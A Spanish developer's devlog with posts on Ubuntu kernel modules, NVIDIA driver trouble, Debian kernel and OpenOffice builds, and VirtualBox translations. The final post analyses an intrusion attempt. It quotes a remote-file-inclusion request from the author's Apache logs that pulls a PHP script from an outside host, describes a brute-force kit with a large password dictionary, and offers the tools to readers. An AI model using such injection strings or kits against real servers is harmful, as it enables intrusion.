MarioDebian, mi devlog

Los desarrolladores de Ubuntu que mantienen los paquetes del kernel hacen cosas bastante extrañas.

Uno de nuestros juguetes (eTC2300) necesita ciertos módulos del kernel que cualquier distribución lleva (Debian por ejemplo) en Ubuntu han decidido que es mejor quitarlo, pero lo más grave es que mandas un bug, dicen que lo arreglan y 3 versiones más tarde vuelven a quitarlo...

Ejemplo bastante tonto.

1.- En Debian unstable (kernel 2.6.25-2-686):

 # modprobe -l |grep -e ac97_codec -e sis5513
/lib/modules/2.6.25-2-686/kernel/sound/oss/ac97_codec.ko
/lib/modules/2.6.25-2-686/kernel/drivers/ide/pci/sis5513.ko

Bien, los dos módulos.

2.- En Ubuntu:

# uname -r
2.6.24-19-generic
# modprobe -l |grep -e ac97_codec -e sis5513

Ups!!! ¿ninguno?

Uno tiene su corazoncito y hace el trabajo que no hacen ellos:

 # apt-get install tcos-extra-modules-2.6.24-19-generic
Leyendo lista de paquetes... Hecho
Creando árbol de dependencias       
Leyendo la información de estado... Hecho
Se instalarán los siguientes paquetes NUEVOS:
  tcos-extra-modules-2.6.24-19-generic
0 actualizados, 1 se instalarán, 0 para eliminar y 5 no actualizados.
Necesito descargar 1637kB de archivos.
Se utilizarán 4411kB de espacio de disco adicional después de desempaquetar.
Des:1 http://192.168.0.3 max/main tcos-extra-modules-2.6.24-19-generic 0.26.max1 [1637kB]
Descargados 1637kB en 0s (5763kB/s)                       
Seleccionando el paquete tcos-extra-modules-2.6.24-19-generic previamente no seleccionado.
(Leyendo la base de datos ...  
281729 ficheros y directorios instalados actualmente.)
Desempaquetando tcos-extra-modules-2.6.24-19-generic (de .../tcos-extra-modules-2.6.24-19-generic_0.26.max1_i386.deb) ...
Configurando tcos-extra-modules-2.6.24-19-generic (0.26.max1) ...

Volvemos a mirar:

 root@max40:~# modprobe -l|grep ac97_codec
/lib/modules/2.6.24-19-generic/kernel/sound/oss/ac97_codec.ko
root@max40:~# modprobe -l|grep sis5513
/lib/modules/2.6.24-19-generic/kernel/drivers/ide/pci/sis5513.ko

¡¡¡¡ Ahora si !!!!

A todo esto he migrado todos los paquetes de TCOS desde experimental a main si quereis seguir usando los viejos hay que cambiar el repositorio...

Ya tengo mala suerte con las tarjetas gráficas

Ya he contado muchas veces lo que he sufrido con la tarjeta gráfica de mi antiguo portátil (VIA KM 400) con la que hasta que compilé una versión en concreto de openchrome (está en el repos de TCOS) conseguí ver películas a pantalla completa sin que la CPU echase llamas (después de 4 o 5 años de comprarlo).

Pues hace unos meses me compro un nuevo portátil (Thinkpad R61) con una flamante NVIDIA Quadro NVS140 pensando que estos problemas se acabarían y sólo acaban de empezar...

Al principio ha funcionado bien pero desde el cambio al kernel 2.6.25 y la actualización de Firefox/Iceweasel no hay quien navegue cómodo (ya no digo jugar).

Cada vez más aplicaciones usan las extensiones Xrender de Xorg (KDE4 o Firefox 3 por ejemplo) y la mierda del driver propietario. Y a las pruebas me remito:

• No permite suspender mi equipo. [otro hilo]
• Hacer scroll en una ventana de Firefox es muy lento (1 o 2 frames por segundo).
• Los comentarios de 20minutos.es bloquean el equipo durante 15 o 20 segundos.
• Los desarrolladores se unen para pedirle que libere los drivers o especificaciones.
• Un desarrollador de KDE está bastante enfadado con NVIDIA.
• Qt4 también tiene problemas de rendimiento.
• No me permite conectar un proyector ya que al no soportar xrandr-1.2 no puedo hacer que la salida funcione a 1024x768.

Google te dirá más gente quemada...

De hecho en los foros oficiales de NVIDIA para Linux los usuarios han hecho una encuesta para no volver a comprar NVIDIA y el 84% de la gente no volverá a comprar hardware gráfico de esta compañía.

Mucha gente vuelve a ATI después de la publicación del nuevo driver radeonhd (con las especificaciones de ATI) y otros muchos se conforman con Intel.... NVIDIA nunca mais.

Lo que más me fastidia es que VIA ha empezado a publicar especificaciones, así que siempre estoy en la casa del malo.

Desde hace 2 o 3 días estoy usando la última rc del «fork» de Firefox en Debian.

Por lo general no estoy demasiado contento, en determinadas condiciones (probado con grafica ATI 9200 vieja) hay una corrupción de pantalla impresionante (#482992) y en otras (por ejemplo el sistema de comentarios Ajax de 20minutos y sus efectos con mootols o jquery) hacen que pierda el control del equipo durante 10 o 15 segundos. Una de las CPUs se pone a 100% y el equipo deja de responder.

Supongo que estas cosas aún estan sin pulir ya que el paquete ha estado en experimental bastante tiempo y acaba de llegar al gran grupo de probadores que somos los que usamos SID.

Veo que ha descendido bastante la memoria que devora consume, sobre todo la memoria que usa del sistema gráfico X (ahora mismo 750 Kb con varias pestañas) y esto vendrá bien para un mejor uso en aulas de terminales ligeros.

Hay cosas que han cambiado a peor, por ejemplo antes si desde evolution (espacio de trabajo 4) abría un enlace, este se abría en una nueva pestaña del espacio de trabajo 3 donde siempre está en navegador. El control de aplicaciones ~ espacio de trabajo lo hago con devilpie:

$ cat /home/mario/.devilspie/firefox.ds
(if (is (application_name) "Firefox") (set_workspace 3) )
(if (is (application_name) "Iceweasel") (set_workspace 3) )

Pero algo pasa con la nueva versión que al abrir nueva pestaña el navegador cambia de espacio de trabajo y se va moviendo por los escritorios como le viene en gana. Puede que haya cambiado el application_name pero si funciona al arrancarlo y no al abrir pestañas me huele a problema del navegador.

El scroll es desesperantemente lento y cargar una web con varias imágenes provoca minibloqueos (me pasa con mi blog por ejemplo). Y esto me extraña porque es la única aplicación que se arrastra (tengo una nVidia Quadro con 512 Mb de RAM dedicados, glxgears (medida tipo «campo de futbol») da sobre 4100 fps)

Miraremos de nuevo a epiphany-webkit.

Thinetic Systems

Y no lo digo yo, oficialmente lo dicen ellos:

Lliurex incluirá TcosMonitor. [noticia extendida]

Era un secreto a voces pero ahora es un poco más oficial. Es el momento de dar las gracias a quien se lo merece (Ignacio) y que lleva trabajando muy duro bastante tiempo para que esto sea posible hoy.

PD.- Recuerdo que MaX también incluye TCOS.

PD2.- Hoy la entrada es breve, ya no hay más ;) 

Creo que algunas decisiones que se estan tomando en Debian no son del todo acertadas.

A partir del kernel 2.6.25-2 se ha activado el modo guest de XEN por defecto en todos los kernel x86.

Esto acarrea varios problemas, para empezar, no se pueden compilar los drivers de NVIDIA [ bug #481161 ] (muy bien dirán algunos, que usen los libres o que sea NVIDIA quien lo arregle) si nos pasamos al sabor amd64 (los que tengan un Core2Duo por ejemplo) no podremos usar ni VirtualBox ni Kqemu (que necesito para arrancar terminales ligeros TCOS por ejemplo)

¿Por qué en un kernel de uso general, como es el -686, se activa algo que sólo usa el 1% de sus usuarios destino?

Historia de como un bug whislist se convierte en XEN por defecto.

Si alguien quiere usar el debian-installer desde XEN, ¿no es más sencillo generar un netinstall con un kernel xen? ¿no le sirve debootstrap?

Mi solución (a corto plazo) es usar 2.6.25-2-686noxen (compilándolo)

1.- Hacer un upgrade de Debian SID y cargarte el openoffice 2.40~rc2 (está entrando la versión 2.4.0 final y aun faltan/faltaban cosas)

2.- Intentar mezclar testing con unstable ya que ni con pinning serás capaz de instalar la versión 2.3

3.- Ver como en Debian ya hay paquetes para amd64 (culpables de confiarme con el upgrade) y bajarte el código para compilarlo en i386 (uno que es un iluso).

4.- Ejecutar pdebuild sin activar los flags DEB_BUILD_OPTIONS=parallel=4 en una máquina Xeon Quad Core (dicen que los READMEs son para cobardes, lo mejor es darle al make)

5.- Ver como lleva desde las 16:30 (son las 23:25) y aun no ha terminado.

6.- Buscar por internet cuánto tarda en compilar el openoffice. [ejemplo]

7.- Llegar a la página buildd de Debian y comprobar que ya lo han compilado ellos, y que ha tardado 6h:35m en i386. [cuidadín con este último enlace, el log es grande]

Para mí que está en un bucle infinito, el archivo *.build (log de la compilación) ocupa ya más de 54 MB. Le doy 20 minutos más antes de tirar de Ctrl+C.

UPDATE 31-03-2008: La compilación terminó a las 00:43. 

Y todo esto con un documento importante que tenía que terminar para ayer.

Yo pensaba que estaba desenganchándome de la versionitis pero hoy he vuelto a recaer.

Una de las cosas que aprecio y más me gustan de GNOME es su equipo de traducción, tengo la suerte de conocer y ser buen amigo del actual responsable de traductores en español (Jorge González, aka aloriel), sé muy bien el trabajo que hacen y las reglas para que las traducciones sean lo más estandares y homogéneas posible (de hecho tienen una guía de traductores muy completa).

Resulta que cuando sales de proyectos grandes y usas proyectos que traducen voluntarios te encuentras con algo como esto:

Hay otras 3 o 4 frases más con «corrida», se pueden ver en el archivo VirtualBox_es.ts.zip.
En la RAE no se habla nada de aplicaciones informáticas que corran.
Ni siquiera VirtualBox tiene que ver con los toros, ¿será VirtualBox el próximo orgasmatrón?

«Mueva el mouse sobre los ítemes»
Esta es de nota, sólo por lo sencillo que es traducirlo bien, ¿qué tal: mueva el ratón sobre los elementos?

Otro fallo importante es que en español todas las letras de una frase excepto la primera y nombres propios van en minúscula. 

Quizás no sea culpa del traductor sino que el castellano se ha ido deformando conforme se alejaba de España y en cada país se usan ciertas expresiones que suenan bien y que en otros sitios son algo cuanto menos desafortunado, quizás por eso existen varias variantes:

$ awk '/es/ {print $1}' /usr/share/i18n/SUPPORTED | awk -F"." '{print $1}'| sort| uniq
es_AR
es_BO
es_CL
es_CO
es_CR
es_DO
es_EC
es_ES
es_ES@euro
es_GT
es_HN
es_MX
es_NI
es_PA
es_PE
es_PR
es_PY
es_SV
es_US
es_UY
es_VE 

En fin, el software libre también sufre las consecuencias de la torre de Babel.

Después de ver como con Virtualbox y el modo seamless es posible ejecutar aplicaciones Windows en un entorno Linux, van y hacen lo contrario, un «calzador» (llamado CoLinux) con ayuda de Xming y PulseAudio, consiguen ejecutar aplicaciones Linux (KDE y Xfce) de manera seminativa en Windows incluso con soporte para portapapeles, audio, etc.... para remate hay syncptic por lo que se puedeinstalar lo que se quiera del repositorio de Ubuntu.

El invento se llama andLinux, visto vía digg.

No es ningún secreto, cada segundo se intentan hackear o infectar millones de ordenadores en todo el mundo, pero cuando te pasa a tí no sabes muy bien lo que hacer.

Resulta que revisando por encima los logs de apache de www.tcosproject.org me encuentro con algo como esto:

GET /index.php?abs_path=http://heidik.org/canar/cmdaff?  404

El error es porque index.php no existe, pero es muy curioso como se puede intentar entrar en un servidor ajeno descargado unas cuantas herramientas:

cmdaff es un script PHP que intenta descargar y ejecutar algo (no se muy bien que es $cfe)

x-force.zip contiene un directorio oculto .x-force con algunas cosas curiosas:

mario@thinkpad:/tmp/.x-force$ ls -lh
total 3,8M
-rw-rw-rw- 1 mario mario  228 may 18  2005 auto
-rw-rw-rw- 1 mario mario 3,8M oct 14 23:40 data.conf
-rw-rw-rw- 1 mario mario  16K oct 13  2005 find
-rw-rw-rw- 1 mario mario  786 mar 29  2007 xforce

mario@thinkpad:/tmp/.x-force$ file *
auto:      POSIX shell script text executable
data.conf: ISO-8859 C program text, with CRLF line terminators
find:      ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.0.0, dynamically linked (uses shared libs), not stripped
xforce:    Bourne-Again shell script text executable

data.conf es un diccionario con más de 250.000 parejas usuario:contraseña (se supone que para hacer ataques por fuerza bruta)

xforce es un script que primero lanza un escaneo (usando el binario find) y luego ataca pero no encuentro el binario atack por lo que no se muy bien como funciona, la web de este fulano está en portugues/brasileño pero hay algunos comentarios en español !!!.

find está compilado en una slakware con gcc 3.3.4 y mirando las cadenas con strings hay mezcla de inglés y algo que me suenta a francés o catalán:

[+] Find ip a terminat in %u de secunde. [Am gasit %d ip`uri]

Hay más scripts en perl, la mayoría boots o servidores IRC.

En fin no tengo más tiempo para cacharrear, aquí teneis las utilidades-varias del fulano para que os divirtais un poco.